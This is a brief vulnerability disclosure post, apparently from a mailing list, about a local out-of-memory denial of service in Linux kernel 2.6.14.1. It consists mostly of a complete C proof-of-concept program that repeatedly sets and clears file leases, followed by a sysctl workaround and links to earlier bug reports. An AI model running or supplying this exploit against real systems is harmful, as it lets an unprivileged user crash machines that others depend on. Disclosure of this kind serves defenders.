local denial-of-service with file leases

[Avi Kivity <avi@argo.co.il>]

the following program will oom a the 2.6.14.1 kernel, running as an 
ordinary user:

#include <unistd.h>

#include <stdlib.h>

#include <linux/fcntl.h>

int main(int ac, char **av)

{

   char *fname = av[0];

   int fd = open(fname, O_RDONLY);

   int r;

   

   while (1) {

       r = fcntl(fd, F_SETLEASE, F_RDLCK);

       if (r == -1) {

           perror("F_SETLEASE, F_RDLCK");

           exit(1);

       }

       r = fcntl(fd, F_SETLEASE, F_UNLCK);

       if (r == -1) {

           perror("F_SETLEASE, F_UNLCK");

           exit(1);

       }

   }

   return 0;

}


it will suck all available memory into fasync_cache, causing an oom. a 
workaround is to set fs.leases-enable to 0.

this has already been reported to lkml[1] and fedora[2], with no effect.

[1] http://www.ussg.iu.edu/hypermail/linux/kernel/0510.2/1589.html
[2] https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=172691

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